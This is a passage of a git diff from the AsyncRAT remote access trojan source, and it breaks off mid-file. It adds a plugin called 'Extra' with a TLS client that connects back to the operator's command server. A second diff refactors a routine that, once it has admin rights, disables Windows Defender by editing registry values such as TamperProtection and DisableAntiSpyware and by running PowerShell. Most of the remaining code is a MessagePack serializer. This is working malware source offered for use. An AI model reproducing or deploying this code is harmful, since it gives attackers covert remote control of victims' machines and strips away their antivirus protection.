GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {4987DF63-DF17-42CF-AB54-BDFDA9768CF0}
EndGlobalSection
EndGlobal

211
AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs Normal file
View File

@ -0,0 +1,211 @@
using Plugin.MessagePack;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Net.Sockets;
using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading;
namespace Plugin
{
public static class Connection
{
public static Socket TcpClient { get; set; }
public static SslStream SslClient { get; set; }
public static X509Certificate2 ServerCertificate { get; set; }
private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; }
private static Timer Tick { get; set; }
private static MemoryStream MS { get; set; }
public static bool IsConnected { get; set; }
private static object SendSync { get; } = new object();
public static string Hwid { get; set; }
public static void InitializeClient(byte[] packet)
{
try
{
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{
ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024,
};
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
if (TcpClient.Connected)
{
Debug.WriteLine("Plugin Connected!");
IsConnected = true;
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4];
MS = new MemoryStream();
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
new Thread(() =>
{
Packet.Read(packet);
}).Start();
}
else
{
IsConnected = false;
return;
}
}
catch
{
Debug.WriteLine("Disconnected!");
IsConnected = false;
return;
}
}
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
{
#if DEBUG
return true;
#endif
return ServerCertificate.Equals(certificate);
}
public static void Disconnected()
{
try
{
IsConnected = false;
Tick?.Dispose();
SslClient?.Dispose();
TcpClient?.Dispose();
MS?.Dispose();
GC.Collect();
}
catch { }
}
public static void ReadServertData(IAsyncResult ar)
{
try
{
if (!TcpClient.Connected || !IsConnected)
{
IsConnected = false;
return;
}
int recevied = SslClient.EndRead(ar);
if (recevied > 0)
{
MS.Write(Buffer, 0, recevied);
if (MS.Length == 4)
{
Buffersize = BitConverter.ToInt32(MS.ToArray(), 0);
Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///");
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
Buffer = new byte[Buffersize];
while (MS.Length != Buffersize)
{
int rc = SslClient.Read(Buffer, 0, Buffer.Length);
if (rc == 0)
{
IsConnected = false;
return;
}
MS.Write(Buffer, 0, rc);
Buffer = new byte[Buffersize - MS.Length];
}
if (MS.Length == Buffersize)
{
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
thread.Start(MS.ToArray());
Buffer = new byte[4];
MS.Dispose();
MS = new MemoryStream();
}
}
}
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
}
else
{
IsConnected = false;
return;
}
}
catch
{
IsConnected = false;
return;
}
}
public static void Send(byte[] msg)
{
lock (SendSync)
{
try
{
if (!IsConnected || msg == null)
{
return;
}
byte[] buffersize = BitConverter.GetBytes(msg.Length);
TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length);
if (msg.Length > 1000000) //1mb
{
int chunkSize = 50 * 1024;
byte[] chunk = new byte[chunkSize];
using (MemoryStream buffereReader = new MemoryStream(msg))
{
BinaryReader binaryReader = new BinaryReader(buffereReader);
int bytesToRead = (int)buffereReader.Length;
do
{
chunk = binaryReader.ReadBytes(chunkSize);
bytesToRead -= chunkSize;
SslClient.Write(chunk, 0, chunk.Length);
SslClient.Flush();
} while (bytesToRead > 0);
binaryReader.Dispose();
}
}
else
{
SslClient.Write(msg, 0, msg.Length);
SslClient.Flush();
}
Debug.WriteLine("Plugin Packet Sent");
}
catch
{
IsConnected = false;
return;
}
}
}
public static void CheckServer(object obj)
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "Ping!)";
Send(msgpack.Encode2Bytes());
GC.Collect();
}
}
}

57
AsyncRAT-C#/Plugin/Extra/Extra/Extra.csproj Normal file
View File

@ -0,0 +1,57 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{424B81BE-2FAC-419F-B4BC-00CCBE38491F}</ProjectGuid>
<OutputType>Library</OutputType>
<AppDesignerFolder>Properties</AppDesignerFolder>
<RootNamespace>Plugin</RootNamespace>
<AssemblyName>Extra</AssemblyName>
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\..\..\Binaries\Debug\Plugins\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>none</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\..\..\Binaries\Release\Plugins\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Connection.cs" />
<Compile Include="Handler\HandleDisableDefender.cs" />
<Compile Include="MessagePack\BytesTools.cs" />
<Compile Include="MessagePack\MsgPack.cs" />
<Compile Include="MessagePack\MsgPackType.cs" />
<Compile Include="MessagePack\ReadTools.cs" />
<Compile Include="MessagePack\WriteTools.cs" />
<Compile Include="Packet.cs" />
<Compile Include="Plugin.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup />
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

29
AsyncRAT-C#/Client/Handle Packet/HandleWindowsDefender.cs → AsyncRAT-C#/Plugin/Extra/Extra/Handler/HandleDisableDefender.cs
View File

@ -1,22 +1,19 @@
using System; using Microsoft.Win32;
using Microsoft.Win32; using System;
using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
using System.Linq;
using System.Security.Principal; using System.Security.Principal;
using Client.Helper; using System.Text;
// │ Author : NYAN CAT namespace Plugin.Handler
// │ Name : Disable Windows Defender v1.0
// │ Contact : https://github.com/NYAN-x-CAT
// This program is distributed for educational purposes only.
namespace Client.Handle_Packet
{ {
public class HandleWindowsDefender class HandleDisableDefender
{ {
public HandleWindowsDefender() public void Run()
{ {
if (!Methods.IsAdmin()) return; Debug.WriteLine("Plugin Invoked");
if (!new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6 RegistryEdit(@"SOFTWARE\Microsoft\Windows Defender\Features", "TamperProtection", "0"); //Windows 10 1903 Redstone 6
RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1"); RegistryEdit(@"SOFTWARE\Policies\Microsoft\Windows Defender", "DisableAntiSpyware", "1");
@ -27,7 +24,7 @@ namespace Client.Handle_Packet
CheckDefender(); CheckDefender();
} }
private static void RegistryEdit(string regPath, string name, string value) private void RegistryEdit(string regPath, string name, string value)
{ {
try try
{ {
@ -45,7 +42,7 @@ namespace Client.Handle_Packet
catch { } catch { }
} }
private static void CheckDefender() private void CheckDefender()
{ {
Process proc = new Process Process proc = new Process
{ {
@ -111,7 +108,7 @@ namespace Client.Handle_Packet
} }
} }
private static void RunPS(string args) private void RunPS(string args)
{ {
Process proc = new Process Process proc = new Process
{ {

102
AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/BytesTools.cs Normal file
View File

@ -0,0 +1,102 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class BytesTools
{
static UTF8Encoding utf8Encode = new UTF8Encoding();
public static byte[] GetUtf8Bytes(String s)
{
return utf8Encode.GetBytes(s);
}
public static String GetString(byte[] utf8Bytes)
{
return utf8Encode.GetString(utf8Bytes);
}
public static String BytesAsString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:D3} ", b));
}
return sb.ToString();
}
public static String BytesAsHexString(byte[] bytes)
{
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(String.Format("{0:X2} ", b));
}
return sb.ToString();
}
/// <summary>
/// 交换byte数组数据
/// 可用于高低数据交换
/// </summary>
/// <param name="v">要交换的byte数组</param>
/// <returns>返回交换后的数据</returns>
public static byte[] SwapBytes(byte[] v)
{
byte[] r = new byte[v.Length];
int j = v.Length - 1;
for (int i = 0; i < r.Length; i++)
{
r[i] = v[j];
j--;
}
return r;
}
public static byte[] SwapInt64(Int64 v)
{
//byte[] r = new byte[8];
//r[7] = (byte)v;
//r[6] = (byte)(v >> 8);
//r[5] = (byte)(v >> 16);
//r[4] = (byte)(v >> 24);
//r[3] = (byte)(v >> 32);
//r[2] = (byte)(v >> 40);
//r[1] = (byte)(v >> 48);
//r[0] = (byte)(v >> 56);
return SwapBytes(BitConverter.GetBytes(v));
}
public static byte[] SwapInt32(Int32 v)
{
byte[] r = new byte[4];
r[3] = (byte)v;
r[2] = (byte)(v >> 8);
r[1] = (byte)(v >> 16);
r[0] = (byte)(v >> 24);
return r;
}
public static byte[] SwapInt16(Int16 v)
{
byte[] r = new byte[2];
r[1] = (byte)v;
r[0] = (byte)(v >> 8);
return r;
}
public static byte[] SwapDouble(Double v)
{
return SwapBytes(BitConverter.GetBytes(v));
}
}
}

926
AsyncRAT-C#/Plugin/Extra/Extra/MessagePack/MsgPack.cs Normal file
View File

@ -0,0 +1,926 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Plugin.MessagePack
{
public class MsgPackEnum : IEnumerator
{
List<MsgPack> children;
int position = -1;
public MsgPackEnum(List<MsgPack> obj)
{
children = obj;
}
object IEnumerator.Current
{
get { return children[position]; }
}
bool IEnumerator.MoveNext()
{
position++;
return (position < children.Count);
}
void IEnumerator.Reset()
{
position = -1;
}
}
public class MsgPackArray
{
List<MsgPack> children;
MsgPack owner;
public MsgPackArray(MsgPack msgpackObj, List<MsgPack> listObj)
{
owner = msgpackObj;
children = listObj;
}
public MsgPack Add()
{
return owner.AddArrayChild();
}
public MsgPack Add(String value)
{
MsgPack obj = owner.AddArrayChild();
obj.AsString = value;
return obj;
}
public MsgPack Add(Int64 value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsInteger(value);
return obj;
}
public MsgPack Add(Double value)
{
MsgPack obj = owner.AddArrayChild();
obj.SetAsFloat(value);
return obj;
}
public MsgPack this[int index]
{
get { return children[index]; }
}
public int Length
{
get { return children.Count; }
}
}
public class MsgPack : IEnumerable
{
string name;
string lowerName;
object innerValue;
MsgPackType valueType;
MsgPack parent;
List<MsgPack> children = new List<MsgPack>();
MsgPackArray refAsArray = null;
private void SetName(string value)
{
this.name = value;
this.lowerName = name.ToLower();
}
private void Clear()
{
for (int i = 0; i < children.Count; i++)
{
((MsgPack)children[i]).Clear();
}
children.Clear();
}
private MsgPack InnerAdd()
{
MsgPack r = new MsgPack();
r.parent = this;
this.children.Add(r);
return r;
}
private int IndexOf(string name)
{
int i = -1;
int r = -1;
string tmp = name.ToLower();
foreach (MsgPack item in children)
{
i++;
if (tmp.Equals(item.lowerName))
{
r = i;
break;
}
}
return r;
}
public MsgPack FindObject(string name)
{
int i = IndexOf(name);
if (i == -1)
{
return null;
}
else
{
return this.children[i];
}
}
private MsgPack InnerAddMapChild()
{
if (valueType != MsgPackType.Map)
{
Clear();
this.valueType = MsgPackType.Map;
}
return InnerAdd();
}
private MsgPack InnerAddArrayChild()
{
if (valueType != MsgPackType.Array)
{
Clear();
this.valueType = MsgPackType.Array;
}
return InnerAdd();
}
public MsgPack AddArrayChild()
{
return InnerAddArrayChild();
}
private void WriteMap(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x80 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDE;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDF;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
WriteTools.WriteString(ms, children[i].name);
children[i].Encode2Stream(ms);
}
}
private void WirteArray(Stream ms)
{
byte b;
byte[] lenBytes;
int len = children.Count;
if (len <= 15)
{
b = (byte)(0x90 + (byte)len);
ms.WriteByte(b);
}
else if (len <= 65535)
{
b = 0xDC;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
else
{
b = 0xDD;
ms.WriteByte(b);
lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len));
ms.Write(lenBytes, 0, lenBytes.Length);
}
for (int i = 0; i < len; i++)
{
((MsgPack)children[i]).Encode2Stream(ms);
}
}
public void SetAsInteger(Int64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.Integer;
}
public void SetAsUInt64(UInt64 value)
{
this.innerValue = value;
this.valueType = MsgPackType.UInt64;
}
public UInt64 GetAsUInt64()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToUInt64((Int64)this.innerValue);
case MsgPackType.UInt64:
return (UInt64)this.innerValue;
case MsgPackType.String:
return UInt64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToUInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToUInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToUInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Int64 GetAsInteger()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return (Int64)this.innerValue;
case MsgPackType.UInt64:
return Convert.ToInt64((Int64)this.innerValue);
case MsgPackType.String:
return Int64.Parse(this.innerValue.ToString().Trim());
case MsgPackType.Float:
return Convert.ToInt64((Double)this.innerValue);
case MsgPackType.Single:
return Convert.ToInt64((Single)this.innerValue);
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public Double GetAsFloat()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return Convert.ToDouble((Int64)this.innerValue);
case MsgPackType.String:
return Double.Parse((String)this.innerValue);
case MsgPackType.Float:
return (Double)this.innerValue;
case MsgPackType.Single:
return (Single)this.innerValue;
case MsgPackType.DateTime:
return Convert.ToInt64((DateTime)this.innerValue);
default:
return 0;
}
}
public void SetAsBytes(byte[] value)
{
this.innerValue = value;
this.valueType = MsgPackType.Binary;
}
public byte[] GetAsBytes()
{
switch (this.valueType)
{
case MsgPackType.Integer:
return BitConverter.GetBytes((Int64)this.innerValue);
case MsgPackType.String:
return BytesTools.GetUtf8Bytes(this.innerValue.ToString());
case MsgPackType.Float:
return BitConverter.GetBytes((Double)this.innerValue);
case MsgPackType.Single:
return BitConverter.GetBytes((Single)this.innerValue);
case MsgPackType.DateTime:
long dateval = ((DateTime)this.innerValue).ToBinary();
return BitConverter.GetBytes(dateval);
case MsgPackType.Binary:
return (byte[])this.innerValue;
default:
return new byte[] { };
}
}
public void Add(string key, String value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsString(value);
}
public void Add(string key, int value)
{
MsgPack tmp = InnerAddArrayChild();
tmp.name = key;
tmp.SetAsInteger(value);
}
public bool LoadFileAsBytes(string fileName)
{
if (File.Exists(fileName))
{
byte[] value = null;
FileStream fs = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.Read);
value = new byte[fs.Length];
fs.Read(value, 0, (int)fs.Length);
fs.Close();
fs.Dispose();
SetAsBytes(value);
return true;
}
else
{
return false;
}
}
public bool SaveBytesToFile(string fileName)
{
if (this.innerValue != null)
{
FileStream fs = new FileStream(fileName, FileMode.Append);
fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length);
fs.Close();
fs.Dispose();
return true;
}
else
{
return false;
}
}
public MsgPack ForcePathObject(string path)
{
MsgPack tmpParent, tmpObject;
tmpParent = this;
string[] pathList = path.Trim().Split(new Char[] { '.', '/', '\\' });
string tmp = null;
if (pathList.Length == 0)
{
return null;
}
else if (pathList.Length > 1)
{
for (int i = 0; i < pathList.Length - 1; i++)
{
tmp = pathList[i];
tmpObject = tmpParent.FindObject(tmp);
if (tmpObject == null)
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
}
else
{
tmpParent = tmpObject;
}
}
}
tmp = pathList[pathList.Length - 1];
int j = tmpParent.IndexOf(tmp);
if (j > -1)
{
return tmpParent.children[j];
}
else
{
tmpParent = tmpParent.InnerAddMapChild();
tmpParent.SetName(tmp);
return tmpParent;
}
}
public void SetAsNull()
{
Clear();
this.innerValue = null;
this.valueType = MsgPackType.Null;
}
public void SetAsString(String value)
{
this.innerValue = value;
this.valueType = MsgPackType.String;
}
public String GetAsString()
{
if (this.innerValue == null)
{
return "";
}
else
{
return this.innerValue.ToString();
}
}
public void SetAsBoolean(Boolean bVal)
{
this.valueType = MsgPackType.Boolean;
this.innerValue = bVal;
}
public void SetAsSingle(Single fVal)
{
this.valueType = MsgPackType.Single;
this.innerValue = fVal;
}
public void SetAsFloat(Double fVal)
{
this.valueType = MsgPackType.Float;
this.innerValue = fVal;
}
public void DecodeFromBytes(byte[] bytes)
{
using (MemoryStream ms = new MemoryStream())
{
ms.Write(bytes, 0, bytes.Length);
ms.Position = 0;
DecodeFromStream(ms);
}
}
public void DecodeFromFile(string fileName)
{
FileStream fs = new FileStream(fileName, FileMode.Open);
DecodeFromStream(fs);
fs.Dispose();
}
public void DecodeFromStream(Stream ms)
{
byte lvByte = (byte)ms.ReadByte();
byte[] rawByte = null;
MsgPack msgPack = null;
int len = 0;
int i = 0;
if (lvByte <= 0x7F)
{ //positive fixint 0xxxxxxx 0x00 - 0x7f
SetAsInteger(lvByte);
}
else if ((lvByte >= 0x80) && (lvByte <= 0x8F))
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Map;
len = lvByte - 0x80;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0x90) && (lvByte <= 0x9F)) //fixarray 1001xxxx 0x90 - 0x9f
{
//fixmap 1000xxxx 0x80 - 0x8f
this.Clear();
this.valueType = MsgPackType.Array;
len = lvByte - 0x90;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if ((lvByte >= 0xA0) && (lvByte <= 0xBF)) // fixstr 101xxxxx 0xa0 - 0xbf
{
len = lvByte - 0xA0;
SetAsString(ReadTools.ReadString(ms, len));
}
else if ((lvByte >= 0xE0) && (lvByte <= 0xFF))
{ /// -1..-32
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
SetAsInteger((sbyte)lvByte);
}
else if (lvByte == 0xC0)
{
SetAsNull();
}
else if (lvByte == 0xC1)
{
throw new Exception("(never used) type $c1");
}
else if (lvByte == 0xC2)
{
SetAsBoolean(false);
}
else if (lvByte == 0xC3)
{
SetAsBoolean(true);
}
else if (lvByte == 0xC4)
{ // max 255
len = ms.ReadByte();
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC5)
{ // max 65535
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToUInt16(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if (lvByte == 0xC6)
{ // binary max: 2^32-1
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
// read binary
rawByte = new byte[len];
ms.Read(rawByte, 0, len);
SetAsBytes(rawByte);
}
else if ((lvByte == 0xC7) || (lvByte == 0xC8) || (lvByte == 0xC9))
{
throw new Exception("(ext8,ext16,ex32) type $c7,$c8,$c9");
}
else if (lvByte == 0xCA)
{ // float 32
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsSingle(BitConverter.ToSingle(rawByte, 0));
}
else if (lvByte == 0xCB)
{ // float 64
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsFloat(BitConverter.ToDouble(rawByte, 0));
}
else if (lvByte == 0xCC)
{ // uint8
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
lvByte = (byte)ms.ReadByte();
SetAsInteger(lvByte);
}
else if (lvByte == 0xCD)
{ // uint16
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt16(rawByte, 0));
}
else if (lvByte == 0xCE)
{
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToUInt32(rawByte, 0));
}
else if (lvByte == 0xCF)
{
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsUInt64(BitConverter.ToUInt64(rawByte, 0));
}
else if (lvByte == 0xDC)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDD)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Array;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xD9)
{
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDE)
{
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt16(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDF)
{
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
len = BitConverter.ToInt32(rawByte, 0);
this.Clear();
this.valueType = MsgPackType.Map;
for (i = 0; i < len; i++)
{
msgPack = InnerAdd();
msgPack.SetName(ReadTools.ReadString(ms));
msgPack.DecodeFromStream(ms);
}
}
else if (lvByte == 0xDA)
{
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xDB)
{
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
SetAsString(ReadTools.ReadString(lvByte, ms));
}
else if (lvByte == 0xD0)
{
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
SetAsInteger((sbyte)ms.ReadByte());
}
else if (lvByte == 0xD1)
{
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
rawByte = new byte[2];
ms.Read(rawByte, 0, 2);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt16(rawByte, 0));
}
else if (lvByte == 0xD2)
{
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
rawByte = new byte[4];
ms.Read(rawByte, 0, 4);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt32(rawByte, 0));
}
else if (lvByte == 0xD3)
{
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
rawByte = new byte[8];
ms.Read(rawByte, 0, 8);
rawByte = BytesTools.SwapBytes(rawByte);
SetAsInteger(BitConverter.ToInt64(rawByte, 0));
}
}
public byte[] Encode2Bytes()
{
using (MemoryStream ms = new MemoryStream())
{
Encode2Stream(ms);
byte[] r = new byte[ms.Length];
ms.Position = 0;
ms.Read(r, 0, (int)ms.Length);
return r;
}
}
public void Encode2Stream(Stream ms)
{
switch (this.valueType)
{
case MsgPackType.Unknown:
case MsgPackType.Null:
WriteTools.WriteNull(ms);
break;
case MsgPackType.String:
WriteTools.WriteString(ms, (String)this.innerValue);
break;
case MsgPackType.Integer:
